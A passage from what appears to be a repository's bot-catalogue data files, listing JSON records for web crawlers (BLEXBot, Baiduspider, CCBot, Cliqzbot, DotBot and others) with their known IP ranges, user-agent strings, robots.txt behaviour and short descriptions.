"robotstxt": { 19 | "downloads": true, 20 | "respects": false, 21 | "should": true 22 | }, 23 | "type": 2, 24 | "user_agents": [ 25 | "Mozilla/5.0 (compatible;AspiegelBot)", 26 | "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; AspiegelBot)" 27 | ], 28 | "website": { 29 | "reachable": true, 30 | "url": "https://aspiegel.com/about" 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /data/BLEXBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "", 4 | "country": null, 5 | "description": "The BLEXBot crawler is an automated robot that visits pages to examine and analyse the content, in this sense it is similar to the robots used by the major search engine companies.", 6 | "id": "BLEXBot", 7 | "known_cidrs": ["46.4.122.146/32", "49.12.131.247/32", "94.130.216.182/32"], 8 | "last_updated": "2020-08-18", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://webmeup-crawler.com/" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/BW_1_1.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Website technology analysis.", 6 | "id": "BW/1.1", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BW/1.1; bit.ly/2W6Px8S) Chrome/74.0.3729.131 Safari/537.36" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://builtwith.com/biup" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/Baiduspider.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "Major Chinese search engine. Ignores robots.txt despite them claiming otherwise.", 4 | "country": "CN", 5 | "description": "Major Chinese search engine. Ignores robots.txt despite them claiming otherwise.", 6 | "id": "Baiduspider", 7 | "known_cidrs": [ 8 | "116.179.32.26/32", 9 | "116.179.32.35/32", 10 | "159.138.8.25/32", 11 | "173.82.227.106/32", 12 | "220.181.108.178/32" 13 | ], 14 | "last_updated": "2020-08-06", 15 | "robotstxt": { 16 | "downloads": true, 17 | "respects": false, 18 | "should": true 19 | }, 20 | "type": 2, 21 | "user_agents": [ 22 | "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 23 | ], 24 | "website": { 25 | "reachable": true, 26 | "url": "http://www.baidu.com/search/spider.html" 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /data/BananaBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "", 6 | "id": "BananaBot", 7 | "known_cidrs": [ 8 | "52.201.217.210/32", 9 | "52.203.195.106/32", 10 | "54.197.137.211/32", 11 | "54.234.235.34/32" 12 | ], 13 | "last_updated": "2020-08-06", 14 | "robotstxt": { 15 | "downloads": true, 16 | "respects": true, 17 | "should": true 18 | }, 19 | "type": 99, 20 | "user_agents": ["BananaBot/0.6.1"], 21 | "website": { 22 | "reachable": false, 23 | "url": "" 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /data/Barkrowler.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "FR", 5 | "description": "French company specializing in large scale text data analysis.", 6 | "id": "Barkrowler", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["Barkrowler/0.9 (+http://www.exensa.com/crawl)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "http://www.exensa.com/crawl/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Birdcrawlerbot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "Data analysis for unknown reasons.", 4 | "country": "DE", 5 | "description": "", 6 | "id": "Birdcrawlerbot", 7 | "known_cidrs": ["178.63.69.12/32"], 8 | "last_updated": "2020-08-18", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; Birdcrawlerbot/0.5; +https://crawla.de/de/index.php)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://crawla.de/de/index.php" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/Blackboard_Safeassign.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 5, 3 | "comments": "", 4 | "country": null, 5 | "description": "Anti-plagiarism service.", 6 | "id": "Blackboard Safeassign", 7 | "known_cidrs": ["34.202.93.213/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["Blackboard Safeassign"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://safeassign.blackboard.com" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/BorneoBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "No information available. Email address unresponsive.", 4 | "country": null, 5 | "description": "", 6 | "id": "BorneoBot", 7 | "known_cidrs": [ 8 | "3.84.208.185/32", 9 | "18.207.209.149/32", 10 | "34.203.232.136/32", 11 | "52.91.104.215/32" 12 | ], 13 | "last_updated": "2020-08-06", 14 | "robotstxt": { 15 | "downloads": true, 16 | "respects": true, 17 | "should": true 18 | }, 19 | "type": 99, 20 | "user_agents": ["BorneoBot/0.9.1 (crawlcheck123@gmail.com)"], 21 | "website": { 22 | "reachable": false, 23 | "url": "" 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /data/BuiltWith.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Website technology analysis.", 6 | "id": "BuiltWith", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BuiltWith/1.0; +http://builtwith.com/biup) Chrome/74.0.3729.131 Safari/537.36", 17 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BuiltWith/1.1; +http://builtwith.com/biup) Chrome/74.0.3729.131 Safari/537.36", 18 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BuiltWith/1.0; +http://builtwith.com/biup) Chrome/60.0.3112.50 Safari/537.36" 19 | ], 20 | "website": { 21 | "reachable": true, 22 | "url": "http://builtwith.com/biup" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /data/CATExplorador.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Domain intelligence tool of .cat NIC.", 6 | "id": "CATExplorador", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "CATExplorador/1.0beta (sistemes at domini dot cat; http://domini.cat/catexplorador.html)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://domini.cat/catexplorador.html" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/CCBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Non-profit organization dedicated to providing a copy of the internet to internet researchers, companies and individuals at no cost for the purpose of research and analysis.", 6 | "id": "CCBot", 7 | "known_cidrs": [ 8 | "3.226.254.123/32", 9 | "3.227.235.23/32", 10 | "3.231.219.8/32", 11 | "3.231.226.13/32", 12 | "3.234.241.238/32", 13 | "3.235.31.26/32", 14 | "3.235.79.88/32", 15 | "3.236.74.69/32", 16 | "3.236.80.150/32", 17 | "3.236.95.216/32", 18 | "3.237.89.4/32", 19 | "18.207.158.238/32", 20 | "18.207.184.123/32", 21 | "18.207.240.230/32", 22 | "18.207.254.88/32", 23 | "18.208.143.75/32", 24 | "18.232.53.76/32", 25 | "34.200.243.114/32", 26 | "34.234.215.255/32", 27 | "34.236.171.128/32", 28 | "34.239.168.7/32", 29 | "34.239.168.177/32", 30 | "35.169.107.85/32", 31 | "35.171.47.245/32", 32 | "75.101.227.129/32", 33 | "75.101.244.108/32", 34 | "100.25.39.209/32", 35 | "100.26.196.123/32" 36 | ], 37 | "last_updated": "2020-08-06", 38 | "robotstxt": { 39 | "downloads": true, 40 | "respects": true, 41 | "should": true 42 | }, 43 | "type": 2, 44 | "user_agents": ["CCBot/2.0 (https://commoncrawl.org/faq/)"], 45 | "website": { 46 | "reachable": true, 47 | "url": "https://commoncrawl.org/faq/" 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /data/CISPA_Webcrawler.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 8, 3 | "comments": "", 4 | "country": "DE", 5 | "description": "Security vulnerability scanner of the German Helmholtz-Zentrum for Information Security.", 6 | "id": "CISPA Webcrawler", 7 | "known_cidrs": ["134.96.225.55/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "CISPA Webcrawler (https://vuln-notify-checker.cispa.saarland)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://vuln-notify-checker.cispa.saarland" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/CMS_Crawler.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "They sell lists of who uses what technology on their websites.", 4 | "country": "SE", 5 | "description": "Commercial technology insights company.", 6 | "id": "CMS Crawler", 7 | "known_cidrs": ["83.233.207.74/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["Mozilla/4.0 (CMS Crawler: http://www.cmscrawler.com)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "http://www.cmscrawler.com" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/CensysInspect.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 8, 3 | "comments": "", 4 | "country": null, 5 | "description": "Censys is a platform that helps information security practitioners discover, monitor, and analyze devices that are accessible from the Internet. We regularly probe every public IP address and popular domain names, curate and enrich the resulting data, and make it intelligible through an interactive search engine and API.", 6 | "id": "CensysInspect", 7 | "known_cidrs": ["162.142.125.0/24", "192.35.168.0/23"], 8 | "last_updated": "2020-08-22", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://about.censys.io/" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/CheckHost.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "Suspect if you didn't set this up yourself.", 4 | "country": "ZZ", 5 | "description": "Website monitoring service.", 6 | "id": "CheckHost", 7 | "known_cidrs": [ 8 | "45.91.250.221/32", 9 | "88.119.179.10/32", 10 | "93.170.128.167/32", 11 | "94.154.1.7/32", 12 | "172.246.126.50/32", 13 | "178.17.171.235/32", 14 | "185.25.204.60/32", 15 | "185.29.8.135/32", 16 | "185.105.238.209/32", 17 | "185.159.82.88/32", 18 | "185.209.161.169/32", 19 | "192.157.233.160/32", 20 | "193.187.152.50/32", 21 | "195.123.211.84/32", 22 | "198.56.183.15/32" 23 | ], 24 | "last_updated": "2020-08-06", 25 | "robotstxt": { 26 | "downloads": false, 27 | "respects": false, 28 | "should": false 29 | }, 30 | "type": 0, 31 | "user_agents": ["CheckHost (https://check-host.net/)"], 32 | "website": { 33 | "reachable": true, 34 | "url": "https://check-host.net/" 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /data/CheckMarkNetwork.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 5, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Intellectual Property and \"Brand Protection\" company.", 6 | "id": "CheckMarkNetwork", 7 | "known_cidrs": [ 8 | "3.17.161.171/32", 9 | "3.123.33.168/32", 10 | "18.179.51.181/32", 11 | "18.179.55.43/32", 12 | "18.217.211.104/32", 13 | "18.220.239.10/32", 14 | "34.220.230.46/32", 15 | "34.243.242.196/32", 16 | "34.244.223.6/32", 17 | "34.250.48.152/32", 18 | "34.251.26.131/32", 19 | "35.166.210.110/32", 20 | "52.78.217.184/32", 21 | "52.79.175.126/32", 22 | "52.79.249.53/32", 23 | "52.214.20.217/32", 24 | "54.154.184.90/32" 25 | ], 26 | "last_updated": "2020-08-06", 27 | "robotstxt": { 28 | "downloads": true, 29 | "respects": true, 30 | "should": true 31 | }, 32 | "type": 2, 33 | "user_agents": [ 34 | "CheckMarkNetwork/1.0 (+http://www.checkmarknetwork.com/spider.html)" 35 | ], 36 | "website": { 37 | "reachable": true, 38 | "url": "http://www.checkmarknetwork.com/spider.html" 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /data/Cincraw.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "JP", 5 | "description": "Japanese company performing unexplained actions on website data.", 6 | "id": "Cincraw", 7 | "known_cidrs": ["150.95.176.184/32", "168:2400:8500:1302:840:150:95:176/128"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; Cincraw/1.0; +http://cincrawdata.net/bot/)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://cincrawdata.net/bot/" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/Clarabot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "HU", 5 | "description": "", 6 | "id": "Clarabot", 7 | "known_cidrs": ["37.17.172.154/31"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; Clarabot/1.4; +http://www.clarabot.info/bots)" 17 | ], 18 | "website": { 19 | "reachable": false, 20 | "url": "http://www.clarabot.info/bots" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/Cliqzbot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "Despite claiming otherwise, it never fully respected robots.txt. They used to sling \"EU tech sovereignty\" rhetoric while they existed, yet exclusively used AWS for its (quite aggressive) crawlers.", 4 | "country": "DE", 5 | "description": "Now-defunct web crawler of a german startup funded by major publishing house Hubert Burda.", 6 | "id": "Cliqzbot", 7 | "known_cidrs": [ 8 | "3.120.26.23/32", 9 | "3.120.34.35/32", 10 | "3.120.116.169/32", 11 | "3.120.133.144/32", 12 | "3.120.138.190/32", 13 | "3.120.139.77/32", 14 | "3.120.206.183/32", 15 | "3.120.210.203/32", 16 | "3.120.243.20/32", 17 | "3.120.243.185/32", 18 | "3.121.29.146/32", 19 | "3.121.98.249/32", 20 | "3.121.100.156/32", 21 | "3.121.184.88/32", 22 | "3.121.184.184/32", 23 | "3.121.200.54/32", 24 | "3.121.215.216/32", 25 | "3.121.216.121/32", 26 | "3.121.217.208/32", 27 | "3.122.54.60/32", 28 | "3.122.118.131/32", 29 | "3.122.180.77/32", 30 | "3.122.191.235/32", 31 | "3.122.193.14/32", 32 | "3.122.224.73/32", 33 | "3.122.224.210/32", 34 | "3.122.240.108/32", 35 | "3.122.251.42/32", 36 | "3.122.252.176/32", 37 | "3.123.2.153/32", 38 | "3.124.2.209/32", 39 | "3.124.6.67/32", 40 | "3.124.183.231/32", 41 | "3.124.204.243/32", 42 | "3.124.214.176/32", 43 | "3.124.216.220/32", 44 | "3.124.217.246/32", 45 | "3.124.242.161/32", 46 | "3.125.40.251/32", 47 | "3.125.116.13/32", 48 | "3.126.85.254/32", 49 | "3.126.138.240/32", 50 | "3.126.139.29/32", 51 | "3.126.139.168/32", 52 | "3.126.146.243/32", 53 | "3.126.207.77/32", 54 | "3.126.207.141/32", 55 | "3.126.207.144/32", 56 | "3.126.209.81/32", 57 | "3.126.209.86/32", 58 | "3.127.36.89/32", 59 | "3.127.37.202/32", 60 | "3.127.38.3/32", 61 | "3.127.38.232/32", 62 | "3.127.40.56/32", 63 | "3.127.65.54/32", 64 | "3.127.65.226/32", 65 | "3.127.68.36/32", 66 | "3.127.70.161/32", 67 | "3.127.148.95/32", 68 | "3.127.148.225/32", 69 | "3.127.149.27/32", 70 | "3.127.150.15/32", 71 | "3.127.243.227/32", 72 | "3.127.247.91/32", 73 | "3.127.248.253/32", 74 | "18.156.1.16/32", 75 | "18.156.7.216/32", 76 | "18.156.34.30/32", 77 | "18.156.136.70/32", 78 | "18.156.136.116/32", 79 | "18.156.166.255/32", 80 | "18.184.4.250/32", 81 | "18.184.5.30/32", 82 | "18.184.5.79/32", 83 | "18.184.17.115/32", 84 | "18.184.17.231/32", 85 | "18.184.38.211/32", 86 | "18.184.50.65/32", 87 | "18.184.98.83/32", 88 | "18.184.164.1/32", 89 | "18.184.181.96/32", 90 | "18.184.247.224/32", 91 | "18.185.33.160/32", 92 | "18.185.37.40/32", 93 | "18.185.37.128/32", 94 | "18.185.80.41/32", 95 | "18.185.85.82/32", 96 | "18.185.112.28/32", 97 | "18.185.116.24/32", 98 | "18.185.121.82/32", 99 | "18.185.131.136/32", 100 | "18.185.132.132/32", 101 | "18.194.7.79/32", 102 | "18.194.112.57/32", 103 | "18.194.192.217/32", 104 | "18.194.207.82/32", 105 | "18.194.207.238/32", 106 | "18.194.232.106/32", 107 | "18.195.52.20/32", 108 | "18.195.52.28/32", 109 | "18.195.71.47/32", 110 | "18.195.80.54/32", 111 | "18.195.88.248/32", 112 | "18.195.117.163/32", 113 | "18.195.128.9/32", 114 | "18.195.169.191/32", 115 | "18.195.210.87/32", 116 | "18.195.239.151/32", 117 | "18.195.241.243/32", 118 | "18.196.1.158/32", 119 | "18.196.1.185/32", 120 | "18.196.3.111/32", 121 | "18.196.69.45/32", 122 | "18.196.101.97/32", 123 | "18.196.140.227/32", 124 | "18.196.198.141/32", 125 | "18.196.235.138/32", 126 | "18.196.247.222/32", 127 | "18.197.0.29/32", 128 | "18.197.3.211/32", 129 | "18.197.33.132/32", 130 | "18.197.41.36/32", 131 | "18.197.57.195/32", 132 | "18.197.99.191/32", 133 | "18.197.143.72/32", 134 | "18.197.144.233/32", 135 | "18.197.149.144/32", 136 | "18.197.185.246/32", 137 | "18.197.193.56/32", 138 | "35.156.167.238/32", 139 | "35.156.177.231/32", 140 | "35.156.181.241/32", 141 | "35.156.202.57/32", 142 | "35.156.247.135/32", 143 | "35.157.40.92/32", 144 | "35.158.11.245/32", 145 | "35.158.119.186/32", 146 | "35.158.124.132/32", 147 | "35.158.125.143/32", 148 | "35.158.139.39/32", 149 | "35.158.218.171/32", 150 | "35.159.24.124/32", 151 | "35.159.49.170/32", 152 | "35.159.50.56/32", 153 | "35.159.52.119/32", 154 | "52.28.228.84/32", 155 | "52.29.119.222/32", 156 | "52.29.155.203/32", 157 | "52.57.151.138/32", 158 | "52.58.74.60/32", 159 | "52.59.158.96/32", 160 | "52.59.159.63/32", 161 | "52.59.195.102/32", 162 | "52.59.201.45/32", 163 | "52.59.207.75/32", 164 | "52.59.210.179/32", 165 | "52.59.224.159/32", 166 | "52.59.225.26/32", 167 | "52.59.225.119/32", 168 | "52.59.226.2/32", 169 | "52.59.238.59/32", 170 | "52.59.238.233/32", 171 | "52.59.239.121/32", 172 | "52.59.239.207/32", 173 | "52.59.243.102/32", 174 | "52.59.245.184/32", 175 | "52.59.249.54/32", 176 | "52.59.249.121/32", 177 | "52.59.249.232/32", 178 | "52.59.254.1/32", 179 | "54.93.39.90/32", 180 | "54.93.41.142/32", 181 | "54.93.47.85/32", 182 | "54.93.50.170/32", 183 | "54.93.104.10/32", 184 | "54.93.114.105/32", 185 | "54.93.170.9/32", 186 | "54.93.171.250/32", 187 | "54.93.188.176/32", 188 | "54.93.222.205/32", 189 | "54.93.226.40/32", 190 | "54.93.229.18/32", 191 | "54.93.232.141/32", 192 | "54.93.233.6/32", 193 | "54.93.233.201/32", 194 | "54.93.234.71/32" 195 | ], 196 | "last_updated": "2020-08-06", 197 | "robotstxt": { 198 | "downloads": true, 199 | "respects": false, 200 | "should": true 201 | }, 202 | "type": 2, 203 | "user_agents": [ 204 | "Mozilla/5.0 (compatible; Cliqzbot/3.0; +http://cliqz.com/company/cliqzbot)" 205 | ], 206 | "website": { 207 | "reachable": true, 208 | "url": "http://cliqz.com/company/cliqzbot" 209 | } 210 | } 211 | -------------------------------------------------------------------------------- /data/Cloud_mapping_experiment.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "IPs appear to be exclusively AWS instances. The listed email address is unresponsive. The information about the crawler was obtained via an AWS abuse report.", 4 | "country": "US", 5 | "description": "A crawler operated by Nokia Deepfield called \"Cloud Genome\".", 6 | "id": "Cloud mapping experiment", 7 | "known_cidrs": [ 8 | "3.81.69.127/32", 9 | "3.81.9.188/32", 10 | "3.81.90.20/32", 11 | "3.87.139.249/32", 12 | "18.232.123.157/32", 13 | "18.234.228.180/32", 14 | "23.20.224.226/32", 15 | "34.201.153.104/32", 16 | "34.238.165.239/32", 17 | "35.173.138.120/32", 18 | "52.203.117.144/32", 19 | "52.23.222.157/32", 20 | "52.23.244.89/32", 21 | "54.145.209.104/32", 22 | "54.159.237.129/32", 23 | "54.165.231.250/32", 24 | "54.167.226.168/32", 25 | "54.172.123.183/32", 26 | "54.175.151.236/32", 27 | "54.198.113.82/32", 28 | "54.198.9.0/32", 29 | "54.205.244.248/32", 30 | "54.224.208.140/32", 31 | "54.224.3.45/32", 32 | "54.242.197.242/32", 33 | "54.80.41.131/32", 34 | "54.89.46.30/32", 35 | "54.90.175.105/32", 36 | "75.101.218.133/32", 37 | "107.22.195.49/32", 38 | "149.224.115.166/32", 39 | "149.224.134.66/32", 40 | "149.224.136.171/32", 41 | "149.224.202.140/32", 42 | "184.73.42.24/32", 43 | "213.109.163.124/32" 44 | ], 45 | "last_updated": "2020-08-06", 46 | "robotstxt": { 47 | "downloads": false, 48 | "respects": false, 49 | "should": null 50 | }, 51 | "type": 99, 52 | "user_agents": ["Cloud mapping experiment. Contact research@pdrlabs.net"], 53 | "website": { 54 | "reachable": false, 55 | "url": "" 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /data/CowBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "FR", 5 | "description": "", 6 | "id": "CowBot", 7 | "known_cidrs": ["90.92.119.203/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["CowBot/1.0"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/DF_Bot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "US", 5 | "description": "", 6 | "id": "DF Bot", 7 | "known_cidrs": ["52.53.183.113/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["DF Bot 1.0"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Datanyze.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "\"Technographics\" and \"Data Enrichment\" company.", 6 | "id": "Datanyze", 7 | "known_cidrs": [ 8 | "138.197.64.39/32", 9 | "142.93.76.125/32", 10 | "142.93.184.162/32", 11 | "159.203.85.194/32", 12 | "165.227.210.170/32", 13 | "167.71.182.120/32" 14 | ], 15 | "last_updated": "2020-08-06", 16 | "robotstxt": { 17 | "downloads": false, 18 | "respects": false, 19 | "should": true 20 | }, 21 | "type": 2, 22 | "user_agents": [ 23 | "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36" 24 | ], 25 | "website": { 26 | "reachable": true, 27 | "url": "https://www.datanyze.com" 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /data/Dataprovider.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "NL", 5 | "description": "At Dataprovider.com we use our own in-house developed spider to analyze domains.", 6 | "id": "Dataprovider", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["Mozilla/5.0 (compatible; Dataprovider.com)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://www.dataprovider.com/spider/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Dispatch.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Scala wrapper for the Java AsyncHttpClient.", 6 | "id": "Dispatch", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["Dispatch/0.14.0-SNAPSHOT"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://dispatchhttp.org/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/DomainStatsBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "It appears to be a rather shady SEO operation.", 4 | "country": "CY", 5 | "description": "Domainstats is all about displaying important information quickly so that conclusions can be drawn within seconds.", 6 | "id": "DomainStatsBot", 7 | "known_cidrs": ["148.251.121.91/32"], 8 | "last_updated": "2020-08-22", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["DomainStatsBot/1.0 (https://domainstats.com/pages/our-bot)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://domainstats.com/pages/our-bot" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Domains_Project.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "UA", 5 | "description": "World's single largest Internet domains dataset.", 6 | "id": "Domains Project", 7 | "known_cidrs": ["82.193.104.168/32", "82.193.117.90/32e"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; Domains Project/1.1.0; +https://domainsproject.org)", 17 | "Mozilla/5.0 (compatible; Domains Project/1.0.4; +https://github.com/tb0hdan/domains)" 18 | ], 19 | "website": { 20 | "reachable": true, 21 | "url": "https://domainsproject.org" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /data/DotBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Backlink analysis tool.", 6 | "id": "DotBot", 7 | "known_cidrs": [ 8 | "3.94.211.190/32", 9 | "18.207.1.108/32", 10 | "34.203.75.207/32", 11 | "34.232.78.244/32", 12 | "35.153.193.127/32", 13 | "35.175.102.3/32", 14 | "54.236.46.202/32", 15 | "54.236.231.8/32", 16 | "54.237.68.43/32", 17 | "100.25.134.154/32", 18 | "100.25.203.196/32", 19 | "100.25.220.76/32", 20 | "216.244.66.197/32", 21 | "216.244.66.198/32", 22 | "216.244.66.226/32", 23 | "216.244.66.231/32", 24 | "216.244.66.235/32", 25 | "216.244.66.237/32", 26 | "216.244.66.239/32", 27 | "216.244.66.242/32", 28 | "216.244.66.246/32" 29 | ], 30 | "last_updated": "2020-08-06", 31 | "robotstxt": { 32 | "downloads": true, 33 | "respects": true, 34 | "should": true 35 | }, 36 | "type": 2, 37 | "user_agents": [ 38 | "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)" 39 | ], 40 | "website": { 41 | "reachable": true, 42 | "url": "http://www.opensiteexplorer.org/dotbot" 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /data/DuckDuckBot-Https.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "Web crawler for DuckDuckGo, a privacy-respecting search engine.", 4 | "country": "US", 5 | "description": "Web crawler for DuckDuckGo, a privacy-respecting search engine.", 6 | "id": "DuckDuckBot-Https", 7 | "known_cidrs": [ 8 | "50.16.241.113/32", 9 | 